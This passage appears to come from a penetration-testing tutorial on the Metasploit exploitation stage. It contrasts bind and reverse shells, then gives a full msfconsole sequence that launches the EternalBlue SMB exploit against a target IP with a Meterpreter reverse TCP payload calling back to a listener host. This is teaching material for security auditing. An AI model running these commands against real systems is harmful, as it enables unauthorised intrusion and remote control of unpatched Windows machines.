Once network scanning discovers vulnerable software versions, the exploitation stage tests those vectors to verify their severity. The Metasploit Framework is the most popular platform for configuring and executing exploits.
The Difference Between Bind and Reverse Shells
A shell is a command-line interface that allows control over the target operating system. Metasploit payloads establish shells in two ways:
- Bind Shell: The payload opens a new port on the target server. The auditor connects to this port. Firewalls usually block these incoming requests.
- Reverse Shell: The target machine connects back outbound to the auditor’s listener port. Highly effective because outbound traffic is rarely blocked.
Basic Exploit Run Commands
Here is the command structure to launch a reverse TCP exploit console target:
# Launch console
msfconsole
# Select target exploit
use exploit/windows/smb/ms17_010_eternalblue
# Set target configurations
set RHOSTS 192.168.1.50
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
# Execute exploit
exploit